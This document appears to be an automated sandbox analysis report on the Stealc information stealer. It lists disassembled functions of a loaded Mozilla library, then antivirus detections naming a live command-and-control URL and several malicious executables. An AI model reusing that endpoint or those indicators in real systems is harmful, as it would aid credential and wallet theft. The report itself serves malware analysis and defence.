Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56EC8C

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

GetCurrentThreadId.KERNEL32 ref: 6C56ECA1
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C56ECC5
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C56ED19
CloseHandle.KERNEL32(?), ref: 6C56ED28
free.MOZGLUE(00000000), ref: 6C56ED2F
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C56EC94

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 900abaac977a3a5c07d02fe202a85927ad2c4119020031863c9f074b3cb510df
Instruction ID: 537530b82b3fd0ed2ba2acd5e1d76e81c8d8437e245ca1f6595f45c48a883287
Opcode Fuzzy Hash: 900abaac977a3a5c07d02fe202a85927ad2c4119020031863c9f074b3cb510df
Instruction Fuzzy Hash: 6E21D175601108EFDB00AFA7EC08A9E7B79EB8636CF114214FD1897B50DB729C068BE5

Function 6C58AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C58AC52
CreateFileMappingW.KERNEL32 ref: 6C58AC7D
GetSystemInfo.KERNEL32 ref: 6C58AC98
MapViewOfFile.KERNEL32 ref: 6C58ACB0
GetSystemInfo.KERNEL32 ref: 6C58ACCD
MapViewOfFile.KERNEL32 ref: 6C58AD05
UnmapViewOfFile.KERNEL32 ref: 6C58AD1C
CloseHandle.KERNEL32 ref: 6C58AD28
UnmapViewOfFile.KERNEL32 ref: 6C58AD37
CloseHandle.KERNEL32 ref: 6C58AD43
CloseHandle.KERNEL32 ref: 6C58AD67

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6bd27bc70299b4ae84d2ea689f8723af1024ff9d8039623491b4c518749f1081
Instruction ID: c488da1515271e4c588059b6cf9e4088b93421b6bb5f0350de745426e561a369
Opcode Fuzzy Hash: 6bd27bc70299b4ae84d2ea689f8723af1024ff9d8039623491b4c518749f1081
Instruction Fuzzy Hash: D23140B19057488FDB00FFB9DA4826EBBF0BF85305F02492DE98597251EB709458CBC6

Function 6C55CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5231A7), ref: 6C55CDDD

Strings

<jemalloc>, xrefs: 6C55CF9F, 6C55CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C55CFA4, 6C55CFB8

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d8c5a1000279ff82bb3dfec619f93520a3753befbe5c4228199d74c984e38fb8
Instruction ID: da451a8971f5271c2c00fa9e1263f318ed87a3f66b87371e4ee0a7fe48c6cd5d
Opcode Fuzzy Hash: d8c5a1000279ff82bb3dfec619f93520a3753befbe5c4228199d74c984e38fb8
Instruction Fuzzy Hash: 2631B6307402099BEF01AFE68C45B6E7BB5AF89718F644016F611ABAC0DB71F411CB95

Function 6C52ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52F100: LoadLibraryW.KERNEL32(shell32,?,6C59D020), ref: 6C52F122
Part of subcall function 6C52F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C52F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C52ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C52EDCC
CreateFileW.KERNEL32 ref: 6C52EE08
free.MOZGLUE(00000000), ref: 6C52EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C52EE32

Part of subcall function 6C52EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C52EBB5
Part of subcall function 6C52EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C55D7F3), ref: 6C52EBC3
Part of subcall function 6C52EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C55D7F3), ref: 6C52EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C52EDC1

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0212ce266d3935059cbacd30285d2b41f250c36800d68fc59634b53fec85898b
Instruction ID: 12f1923f2b44e538eb88dbce7374f3ccdca52b15fe8d43c2e00c7e9ea69dd6fd
Opcode Fuzzy Hash: 0212ce266d3935059cbacd30285d2b41f250c36800d68fc59634b53fec85898b
Instruction Fuzzy Hash: 1B51C071D05214CBDB00DF79DC406AEB7F0AF99319F44892DE8556B780E7B86D48C7A2

Function 6C569420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
__Init_thread_footer.LIBCMT ref: 6C56949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C56946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C569459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C56947D

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 92022c1d3ec7d78f9f47b2abbfdfe2fe3b96c3e620be6f7bd05f00bbd07da55a
Instruction ID: d246205bd7445b7daf9d7d57f1d34822ad418842d840365db742a1cca53684b7
Opcode Fuzzy Hash: 92022c1d3ec7d78f9f47b2abbfdfe2fe3b96c3e620be6f7bd05f00bbd07da55a
Instruction Fuzzy Hash: AC018870A00101CBD7109BDFEC15A5E33B5BB4536AF050637D90686F51DB32E8658A9F

Function 6C57DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C57DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C57D38A,?), ref: 6C57DC6F
free.MOZGLUE(?,?,?,?,?,6C57D38A,?), ref: 6C57DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C57D38A,?), ref: 6C57DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C57D38A,?), ref: 6C57DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C57D38A,?), ref: 6C57DD4A

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 4585344dc77219830cccff7aecf5406e45cff57357185860738b02cd6ca06dd0
Instruction ID: bdd238c80cc66725cdd78eb2d57e2c69680187745e23212e23d69a8e57e341f4
Opcode Fuzzy Hash: 4585344dc77219830cccff7aecf5406e45cff57357185860738b02cd6ca06dd0
Instruction Fuzzy Hash: 00416DB5A00219CFCB10CF99CC8499ABBF5FF88314B554569D945A7B10D771FC40CBA0

Function 6C55F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C55F480

Part of subcall function 6C52F100: LoadLibraryW.KERNEL32(shell32,?,6C59D020), ref: 6C52F122
Part of subcall function 6C52F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C52F132

CloseHandle.KERNEL32(00000000), ref: 6C55F555

Part of subcall function 6C5314B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C531248,6C531248,?), ref: 6C5314C9
Part of subcall function 6C5314B0: memcpy.VCRUNTIME140(?,6C531248,00000000,?,6C531248,?), ref: 6C5314EF

Part of subcall function 6C52EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C52EEE3

CreateFileW.KERNEL32 ref: 6C55F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C55F523

Strings

\oleacc.dll, xrefs: 6C55F4CB

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: fa9c98dc04869396055aa4a1e23b5a62bbaf3f23eee4f1b4d9890a93400a51d3
Instruction ID: 6227f32a8f92220cd060cc10b504abfe03ffeb12316a589579b57e65055cab45
Opcode Fuzzy Hash: fa9c98dc04869396055aa4a1e23b5a62bbaf3f23eee4f1b4d9890a93400a51d3
Instruction Fuzzy Hash: 6341BD306087109FE720DF69DD84A9AB3F4AF84318F900B1DE59183650EB70E959CB92

Function 6C58C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C58C0E9), ref: 6C58C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C58C437
FreeLibrary.KERNEL32(?,6C58C0E9), ref: 6C58C44C

Strings

NtQueryVirtualMemory, xrefs: 6C58C431
ntdll.dll, xrefs: 6C58C413

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2fd2a543114d4be8a503e1a932e79dcfe87acb91ca21212274e94d6602969de9
Instruction ID: 10a2496f9d26766fd9776ea7fd720c3ad138ca33a161f673f5f5e20e26531b30
Opcode Fuzzy Hash: 2fd2a543114d4be8a503e1a932e79dcfe87acb91ca21212274e94d6602969de9
Instruction Fuzzy Hash: CFE0B6706013069BDF047FF3ED1871D7BF8A706605F024316AA04A1610EBB0D0418B98

Function 6C52B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C52B532
moz_xmalloc.MOZGLUE(?), ref: 6C52B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C52B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C52B57E
free.MOZGLUE(00000000), ref: 6C52B58F

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 3c63957a4b2fe02c354c08fd30e66eb10ac6618565b4d018609bb3b9ca5804b1
Instruction ID: 25a3042dfeba6144e98300e080f118e6a39a6fdcb817a81b5b530186d6f14adb
Opcode Fuzzy Hash: 3c63957a4b2fe02c354c08fd30e66eb10ac6618565b4d018609bb3b9ca5804b1
Instruction Fuzzy Hash: 0921B471A002059BDB009FA9DC40BAEBBF9FF85314F284129E919DB382F776D951C7A1

Function 6C54D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

EnterCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D4F2
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D50B

Part of subcall function 6C52CFE0: EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C52CFF6
Part of subcall function 6C52CFE0: LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C52D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D52E
EnterCriticalSection.KERNEL32(6C5AE7DC), ref: 6C54D690
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C55D1C5), ref: 6C54D751

Strings

MOZ_CRASH(), xrefs: 6C54D4BB

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b0d2c572d688fec0810daee994eb3f51a5960e2a52b7d3eea46e6fb2a627605b
Instruction ID: 0e2dd2d16b1fa00a3e296572b85af494037b9a009d5dd8d4c2f9cc9f29ec1779
Opcode Fuzzy Hash: b0d2c572d688fec0810daee994eb3f51a5960e2a52b7d3eea46e6fb2a627605b
Instruction Fuzzy Hash: A3511371A047018FD728CF6AC89471AB7F1EB8A714F558A2ED599C7F85DB70E800CB81

Function 6C57B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C524290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C563EBD,6C563EBD,00000000), ref: 6C5242A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C57B127), ref: 6C57B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C57B4E4

Strings

pid:, xrefs: 6C57B4DE

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 12bff47027cb470707e0b318394474f131c85fafdc8e6753a0ef4424e08be8c1
Instruction ID: fddf7443cef4a09beff85e16801eb1084f74259aa0bf938112586985036d6e8a
Opcode Fuzzy Hash: 12bff47027cb470707e0b318394474f131c85fafdc8e6753a0ef4424e08be8c1
Instruction Fuzzy Hash: FA31F571A01208DFDB20EFAADC80A9EB7B7FF45318F580529D80167A41E731A995CBF1

Function 6C545C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C545D40
EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C545D67
__aulldiv.LIBCMT ref: 6C545DB4
LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C545DED

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 33946f5f66639351102e11e82dcf7720e799a6262fcea6f113fe2c41593982e8
Instruction ID: c427fd675328a6e0a01fce28d29644bc93bcbfa08259bcaedecd2fb447e639f6
Opcode Fuzzy Hash: 33946f5f66639351102e11e82dcf7720e799a6262fcea6f113fe2c41593982e8
Instruction Fuzzy Hash: 48515F71E001198FDF08CFA9DC54AAEBBB1FF85304F6A8629D811A7760C7706945CBD4

Function 6C566470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5682BC,?,?), ref: 6C56649B

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5664A9

Part of subcall function 6C55FA80: GetCurrentThreadId.KERNEL32 ref: 6C55FA8D
Part of subcall function 6C55FA80: AcquireSRWLockExclusive.KERNEL32(6C5AF448), ref: 6C55FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C56653F
free.MOZGLUE(?), ref: 6C56655A

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 319742681dc8e5de7827de3fae5ed62d6791ffb06b4ded092862fc051d2254dc
Instruction ID: a73f62504704527b547513a89a8a926e08ea8e42ad3901dc4a58c75cfdd761c3
Opcode Fuzzy Hash: 319742681dc8e5de7827de3fae5ed62d6791ffb06b4ded092862fc051d2254dc
Instruction Fuzzy Hash: 3F317EB5A043059FDB00CF25D884A9ABBE4FFD8314F41442EE89A97751EB30E918CB92

Function 6C536C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KVl,?,6C564B30,80000000,?,6C564AB7,?,6C5243CF,?,6C5242D2), ref: 6C536C42

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

moz_xmalloc.MOZGLUE(0KVl,?,6C564B30,80000000,?,6C564AB7,?,6C5243CF,?,6C5242D2), ref: 6C536C58

Strings

0KVl, xrefs: 6C536C33, 6C536C41, 6C536C57

Memory Dump Source

Source File: 00000014.00000002.3333661711.000000006C521000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000014.00000002.3333282387.000000006C520000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333868001.000000006C5AE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000014.00000002.3333918189.000000006C5B2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6c520000_stealc_default2.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KVl
API String ID: 1967447596-88445501
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 328b127e8cf02fbe09aada0060b62e55805df0417ae454818242f4f828233baa
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: A0E026F1A103284ADB09D8799C0A52A73C8EBB42A87045A3DE82AC2BC8FF54E8608051

Source: http://185.215.113.17/2fb6c2cc8dce150a.phpCoinomi	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.php7	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.php)	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpG	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpm	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpU	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpN	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phpata	Avira URL Cloud: Label: malware
Source: http://185.215.113.17/2fb6c2cc8dce150a.phprowser	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Avira: detection malicious, Label: TR/AD.Stealc.cucnc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Avira: detection malicious, Label: HEUR/AGEN.1314118
